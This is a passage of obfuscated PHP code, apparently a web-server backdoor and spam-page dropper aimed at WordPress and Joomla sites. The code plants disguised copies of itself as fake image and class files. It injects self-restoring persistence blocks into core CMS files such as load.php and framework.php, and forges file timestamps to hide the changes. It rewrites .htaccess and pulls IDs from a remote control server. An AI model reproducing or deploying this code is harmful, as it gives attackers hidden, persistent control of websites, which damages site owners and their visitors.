= $num)
return count($destination);
$tempType = getFileType($file);
if(strstr($type,$tempType)){
$tempMydir = count(explode(DIRECTORY_SEPARATOR,$src));
if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){
$destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file);
}
}
}
}
}
closedir($handle);
}
if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
if(isset($_SERVER['DOCUMENT_ROOT'])){
$hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
}elseif(isset($_SERVER['PHP_SELF'])){
$hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR;
}else{
$hostDir = '/';
}
$hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir);
$sysType = sys_type();
if($sysType == 'wp'){
$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; $backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64});
}elseif($sysType == 'Joomla'){
$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64});
}else{
$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
$arrphpDir = array();
getTypeImg($hostDir,$arrphpDir,3,'php');
$i=1;
foreach($arrphpDir as $key=>$vs){
$fitime = filemtime($key);
list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
$tempMyVs = 'backupfile'.$i++;
$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
while(file_exists($$tempMyVs)){
$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
}
}
}
$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
$str = file_get_contents("index.php");
$r3 = '#(//kwz{2}ar{2}_bg)(.*?)(//kwz{2}ar{2}_end)#s';
shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$r1 = '#(//brd{2}ar{2}_bg)(.*?)(//brd{2}ar{2}_end)#s';
shuffle($arrBread);
$rp1 = '';
foreach($arrBread as $vals){
$rp1 .= '$arrBread[]="'. $vals .'";'. PHP_EOL;
}
$str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);
$r3 = '#(//nt{2}ar{2}_bg)(.*?)(//nt{2}ar{2}_end)#s';
shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}keyjgbg)(.*?)(/{2}keyjgend)#s';
$randNum = rand(1,100);
$strII = 'define("KEYJG",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}randnumIbg)(.*?)(/{2}randnumIend)#s';
$randNum = rand(1,15);
$strII = 'define("RANDNUMI",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}randnumIIbg)(.*?)(/{2}randnumIIend)#s';
$randNum = rand(1,15);
$strII = 'define("RANDNUMII",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$rII='#(/{2}pnamelenbg)(.*?)(/{2}pnamelenend)#s';
$randNum = rand(40,60);
$strII = 'define("PNAMELEN",'.$randNum.');';
$str = preg_replace($rII, '\1'. PHP_EOL . PHP_EOL .$strII . PHP_EOL . PHP_EOL .'\3', $str);
$r4 = '#(//sr{2}ar{2}_bg)(.*?)(//sr{2}ar{2}_end)#s';
$arrABC = range('a','z');
$strTemp1 = ''; for($i=0;$i<100;$i++){
shuffle($arrABC);
$strtemp = ''; foreach($arrABC as $value){
$strtemp .= $value; }
$strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
$str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
$num = rand(1,FNUM); $num = $num - 1;
$idUrl = GETDOM . "gpage.php?getid=$num";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrId = explode(',',$tempIdStr);
$indexId=array_rand($arrId,1);
$rsGs="#^[\d-]+$#i";
if(!preg_match($rsGs,$arrId[$indexId])){
die("get no id");
}
$str = str_replace('$id = "586771"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
$r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str);
file_put_contents(__FILE__, $str);
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '
jgshu (".$_GET["jgshu"].") ok!
";
}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
$str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);
echo "
ljshu (".$_GET["ljshu"].") ok!
";
}
preg_match('#w{6}forbg(.*?)w{6}forend#si',$str,$matchPut);
$backStr = $matchPut[1];
$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
generate_dir_file($backupfile1);
generate_dir_file($backupfile2);
if($backStr){
$backStr = '<'.'?php'.PHP_EOL .$backStr;
if(isset($backupfile1) && $backupfile1){
if(file_put_contents($backupfile1,$backStr))
$flagRdir1 = 1;
else
$flagRdir1 = 0;
}
if(isset($backupfile2) && $backupfile2){
if(file_put_contents($backupfile2,$backStr))
$flagRdir2 = 1;
else
$flagRdir2 = 0;
}
@touch($backupfile1, $fitime, $fitime);
@touch(dirname($backupfile1), $fitime, $fitime);
@touch($backupfile2, $fitime, $fitime);
@touch(dirname($backupfile2), $fitime, $fitime);
}
$arrTemps = explode('/',GETDOM);
$tpNum = count($arrTemps);
$dateArr = array();
$dateArr['dom'] = $thisdom;
$dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$dateArr['indexhyFile'] = __FILE__;
$dateArr['mbFile'] = str_replace('index.php','template.html',$dateArr['indexhyFile']);
$dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess";
$dateArr['act'] = 'pt';
$dateArr['moshi'] = JDT;
$dateArr['bzpro'] = BZPRO;
$dateArr['bao'] = $arrTemps[$tpNum-2];
if($backupfile1){
$bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
$dateArr['backupfile1'] = $bfileurl1;
}
if($backupfile2){
$bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
$dateArr['backupfile2'] = $bfileurl2;
}
$nowDirName = @end(explode(DIRECTORY_SEPARATOR,dirname(__FILE__)));
if($sysType == 'wp'){
$ckLocalFile1 = '../wp-includes/load.php';
$ckLocalFile2 = '../wp-includes/template-loader.php';
if(!is_dir("../wp-includes"))
@mkdir("../wp-includes",0755);
if(is_dir("../wp-includes/images/smilies/")){
$bkLocalFileIndex1 = '../wp-includes/images/smilies/icon_reds.gif';
$bkLocalFileHtac1 = '../wp-includes/images/smilies/icon_blacks.gif';
$bkLocalFileMoban1 = '../wp-includes/images/smilies/icon_greens.gif';
}else{
$bkLocalFileIndex1 = '../wp-includes/class-wp-customize-settings.php';
$bkLocalFileHtac1 = '../wp-includes/class-wp-customize-panels.php';
$bkLocalFileMoban1 = '../wp-includes/class-wp-customize-controls.php';
}
if(!is_dir("../wp-admin"))
@mkdir("../wp-admin",0755);
if(is_dir("../wp-admin/images/")){
$bkLocalFileIndex2 = '../wp-admin/images/align-lefts.png';
$bkLocalFileHtac2 = '../wp-admin/images/align-rights.png';
$bkLocalFileMoban2 = '../wp-admin/images/align-centers.png';
}else{
$bkLocalFileIndex2 = '../wp-admin/options-writings.php';
$bkLocalFileHtac2 = '../wp-admin/options-medias.php';
$bkLocalFileMoban2 = '../wp-admin/options-discussions.php';
}
$nmbf1 = './template.html';
$nmbf2 = './'.$nowDirName.'/template.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nmbf1);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strCkLocalFile1,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../wp-includes/','./wp-includes/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'function require_wp_db')){
$rpRpFind = 'function require_wp_db';
}elseif(stristr($strckLocalFile2,'function timer_start')){
$rpRpFind = 'function timer_start';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrTwo .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
$NowPutStrTwo .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrTwo .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileIndex2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileIndex2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileHtac2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileHtac2)."';".PHP_EOL;
$NowPutStrTwo .= '$bkLocalFileMoban2 = '." '".str_replace('../wp-admin/','./wp-admin/',$bkLocalFileMoban2)."';".PHP_EOL;
$NowPutStrTwo .= '
if($nowHtacFile && file_exists($bkLocalFileHtac2)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac2))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac2));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex2)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex2) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex2));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban2)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban2)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){
$fitime = filemtime($bkLocalFileMoban2);
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($bkLocalFileMoban2,$tpstrMb);
@touch($bkLocalFileMoban2, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban2,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban2));
@chmod($bkLocalFileMoban2,0755);
}
}
}
}';
$NowPutStrTwo .= PHP_EOL . '//ckIIend'.PHP_EOL;
if(strstr($strckLocalFile2,'//ckIIbg') && strstr($strckLocalFile2,'//ckIIend')){
$rsckII = '#//ckIIbg.*?//ckIIend#si';
$strckLocalFile2 = preg_replace($rsckII,$NowPutStrTwo,$strckLocalFile2);
}else{
$strckLocalFile2 = '<'.'?php'. PHP_EOL .$NowPutStrTwo. PHP_EOL . '?>'.PHP_EOL . $strckLocalFile2;
}
file_put_contents($ckLocalFile2,$strckLocalFile2);
@touch($ckLocalFile2, $fitime, $fitime);
}
}elseif($sysType == 'Joomla'){
$ckLocalFile1 = '../libraries/loader.php';
$ckLocalFile2 = '../includes/framework.php';
if(!is_dir("../templates"))
@mkdir("../templates",0755);
if(!is_dir("../templates/system"))
@mkdir("../templates/system",0755);
if(!is_dir("../templates/system/images"))
@mkdir("../templates/system/images",0755);
$bkLocalFileIndex1 = '../templates/system/images/i_button1_blank.png';
$bkLocalFileHtac1 = '../templates/system/images/i_button1_image.png';
$bkLocalFileMoban1 = '../templates/system/images/i_button1_left.png';
if(!is_dir("../media"))
@mkdir("../media",0755);
if(!is_dir("../media/media"))
@mkdir("../media/media",0755);
if(!is_dir("../media/media/images"))
@mkdir("../media/media/images",0755);
if(!is_dir("../media/media/images/mime-icon-16"))
@mkdir("../media/media/images/mime-icon-16",0755);
$bkLocalFileIndex2 = '../media/media/images/mime-icon-16/mp3s.png';
$bkLocalFileHtac2 = '../media/media/images/mime-icon-16/mp4s.png';
$bkLocalFileMoban2 = '../media/media/images/mime-icon-16/odcs.png';
$nmbf1 = './template.html';
$nmbf2 = './'.$nowDirName.'/template.html';
$nowLogFileI = './'.$nowDirName.'/logs.txt';
$nowIndexFile = './index.php';
$nowIndexFileI = './'.$nowDirName.'/index.php';
if(JDT == 1){
$nowHtacFile = './.htaccess';
$nowHtacFileI = './'.$nowDirName.'/.htaccess';
}elseif(JDT == 0){
$nowHtacFile = '../.htaccess';
$nowHtacFileI = './.htaccess';
}else{
$nowHtacFile = '';
$nowHtacFileI = '';
}
$strNowIndex = file_get_contents($nowIndexFile);
$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex); $r4 = '#i{9}bg.*?i{9}end#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si';
$strNowIndex2 = preg_replace($r4, '', $strNowIndex2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $strNowIndex2 = preg_replace($r4, '', $strNowIndex2);
$strNowIndex = $strNowIndex2;
$strNowMoban = file_get_contents($nmbf1);
$strNowHtac = file_get_contents($nowHtacFile);
if(file_exists($ckLocalFile1)){
$strCkLocalFile1 = file_get_contents($ckLocalFile1);
@chmod($ckLocalFile1,0755);
if(stristr($strCkLocalFile1,'// Check if jexit')){
$rpRpFind = '// Check if jexit';
}elseif(stristr($strCkLocalFile1,'function jimport')){
$rpRpFind = 'function jimport';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex1,$strNowIndex);
file_put_contents($bkLocalFileMoban1,$strNowMoban);
file_put_contents($bkLocalFileHtac1,$strNowHtac);
@touch($bkLocalFileIndex1, $fitime, $fitime);
@touch($bkLocalFileMoban1, $fitime, $fitime);
@touch($bkLocalFileHtac1, $fitime, $fitime);
$NowPutStrI = PHP_EOL . '//ck1bg'.PHP_EOL;
$NowPutStrI .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrI .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
$NowPutStrI .= '$nmbf1 = '." '$nmbf2';".PHP_EOL;
$NowPutStrI .= '$nowIndexFile = '." '$nowIndexFileI';".PHP_EOL;
$NowPutStrI .= '$nowLogFile = '." '$nowLogFileI';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileIndex1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileIndex1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileHtac1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileHtac1)."';".PHP_EOL;
$NowPutStrI .= '$bkLocalFileMoban1 = '." '".str_replace('../templates/','./templates/',$bkLocalFileMoban1)."';".PHP_EOL;
$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}';
$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
$rsck1 = '#//ck1bg.*?//ck1end#si';
$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
}else{
if(!$rpRpFind){
$strCkLocalFile1 = $strCkLocalFile1.PHP_EOL .$NowPutStrI;
}else{
$strCkLocalFile1 = str_replace($rpRpFind,$NowPutStrI.$rpRpFind,$strCkLocalFile1);
}
}
file_put_contents($ckLocalFile1,$strCkLocalFile1);
@touch($ckLocalFile1, $fitime, $fitime);
}
if(file_exists($ckLocalFile2)){
$strckLocalFile2 = file_get_contents($ckLocalFile2);
@chmod($ckLocalFile2,0755);
if(stristr($strckLocalFile2,'ob_end_clean')){
$rpRpFind = 'ob_end_clean';
}elseif(stristr($strckLocalFile2,'// System configuration')){
$rpRpFind = '// System configuration';
}else{
$rpRpFind = false;
}
file_put_contents($bkLocalFileIndex2,$strNowIndex);
file_put_contents($bkLocalFileMoban2,$strNowMoban);
file_put_contents($bkLocalFileHtac2,$strNowHtac);
@touch($bkLocalFileIndex2, $fitime, $fitime);
@touch($bkLocalFileMoban2, $fitime, $fitime);
@touch($bkLocalFileHtac2, $fitime, $fitime);
$NowPutStrTwo = PHP_EOL . '//ckIIbg'.PHP_EOL;
$NowPutStrTwo .= '$nowFileDir = '." '$nowDirName';".PHP_EOL;
$NowPutStrTwo .= '$nowHtacFile = '." '$nowHtacFileI';".PHP_EOL;
